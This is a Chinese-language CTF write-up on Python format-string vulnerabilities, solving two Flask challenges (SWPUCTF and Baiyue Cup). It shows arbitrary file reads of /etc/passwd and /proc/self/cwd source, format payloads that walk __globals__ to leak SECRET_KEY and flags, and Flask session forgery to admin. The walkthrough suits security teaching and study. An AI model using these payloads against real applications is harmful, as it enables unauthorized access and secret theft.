从两道CTF实例看python格式化字符串漏洞

 

什么是python格式化字符串漏洞

pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

python常见的格式化字符串

百分号形式进行格式化字符串

>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'

使用标准库中的模板字符串

string.Template()

>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'

使用format进行格式化字符串

format的使用就很灵活了,比如以下
最普通的用法就是直接格式化字符串

>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'

指定位置

>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'

设置参数

>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'

百分比格式

>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'

获取数组的键值

>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'

用法还有很多,就不一一列举了
这里看一种错误的用法
先是正常打印

>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
...     def __init__(self, name):
...             self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky

恶意利用

>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"

可以看到,当我们的name=user.__class__.__init__.__globals__时,就可以将很多敏感的东西给打印出来

 

SWPUCTF 皇家线上赌场

文件读取

根据首页弹出的xss,来到路径
http://107.167.188.241/static?file=test.js
接着发现任意文件读取
http://107.167.188.241/static?file=/etc/passwd
发现泄露:
http://107.167.188.241/source
文件目录

[root@localhost]# tree web
web/
├── app
│   ├── forms.py
│   ├── __init__.py
│   ├── models.py
│   ├── static
│   ├── templates
│   ├── utils.py
│   └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:

查看工作目录
/proc/mounts 或者 /etc/mtab
发现web
/home/ctf/web_assli3fasdf
但是除了
http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js,其余的文件都读不到

绕过目录限制

可以用/proc/self/cwd绕过,cwd是一个符号链接,指向了实际的工作目录
views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱

__init__.py: http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

拿到s_key 即可伪造session

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

利用脚本解密session

{'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}

接着用key伪造

"{'csrf_token': '10
21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"

format格式化字符串漏洞

然后访问/getflag
关键代码

 def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

这里是format格式化字符串漏洞
可以发现,最后的jdata.format(field, g.u, mhash) 里的field是我们可控的,fieldrequest.form.getrequest上下文中的get方法获取到的
于是大致的思路是找到g对象所在的命名空间,找到getflag方法,然后调__globals__获取所有变量,再从getflag方法中取出g对象。由于提升了有save方法
所以最后构造的payload

field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

 

百越杯Easy flask

环境:https://github.com/hongriSec/CTF-Training/tree/master/2018/%E7%99%BE%E8%B6%8A%E6%9D%AF2018/Web

环境搭建

修改工作目录名为flaskr
然后set FLASK_APP=__init__.py
接着flask init-db 初始化数据库
就可以flask run

用户遍历

打开题目,有注册和登陆(源码里没附css。。搭出来的环境界面很简单)


先注册账号
登陆

可以看到有一个edit secert的功能

提交后会显示在页面上

观察url
views?id=6
于是我们修改id,发现可以遍历用户,在id=5时是admin

源码审计

通过www-zip下载到源码
目录结构

几个关键点

auth.py

    ... //省略
@bp_auth.route('/flag')
@login_check
def get_flag():
    if(g.user.username=="admin"):
        with open(os.path.dirname(__file__)+'/flag','rb') as f:
            flag = f.read()
        return flag
    return "Not admin!!"
    ...//省略

secert.py

    ...//省略
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
    view_id = request.args.get('id')
    if not view_id:
        view_id = session.get('user_id')

    user_m = user.query.filter_by(id=view_id).first()

    if user_m is None:
        flash(u"该用户未注册")
        return render_template('secert/views.html')

    if str(session.get('user_id'))==str(view_id):
        secert_m = secert.query.filter_by(id=view_id).first()
        secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
    else:
        secert_t = u"<p>***************************************<p>"

    name = u"<h1>name:{user_m.username}<h1>"
    email = u"<h2>email:{user_m.email}<h2>"

    info = (name+email+secert_t).format(user_m=user_m)
    return render_template('secert/views.html',info = info)

    ...//省略

format格式化字符串

从auth可以看到,当用户是admin的时候才可以访问/flag
在已登录的用户里发现了session

用脚本解密

(test_py3) λ python flask_session解密.py "eyJ1c2VyX2lkIjo2fQ.XFKzTQ.Ucu4Lbwm0b0nJM8QM_9j41MGkPc
"
{'user_id': 6}

于是现在思路很明确了
伪造成admin->访问/flag->get flag
那么现在就要想办法拿到SECRET_KEY这样才能伪造session
在secret.py

两处format,第一处的secret是我们可控的,就是edit secert,于是测试
当我提交{user_m.password}

出现了sha256加密的密码,于是我们就可以通过这里去读SECRET_KEY

secert.py的开头importcurrent_app,于是可以通过获取current_app来获取SECRET_KEY
payload


{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

Session伪造

获取到SECRET_KEY 后,就是利用脚本伪造session了
利用加密脚本生成session

(test_py3) λ python flask_session加密.py encode -t "{'user_id': 5}" -s "test"
eyJ1c2VyX2lkIjo1fQ.XFLUdg.rVvk_CdUlXvLedmJSCD8YYUABZg

修改session后

访问 /flag

 

总结

在一般的CTF中,通常格式化字符串漏洞会和session机制的问题,SSTI等一起出现.一般来说,在审计源码的过程中,看到了使用format,且可控,那基本上就可以认为是format格式化字符串漏洞了。

 

参考文章

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
https://bbs.ichunqiu.com/thread-48533-1-1.html
https://mochazz.github.io/2018/12/11/python%20web%E4%B9%8Bflask%20session&%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/

(完)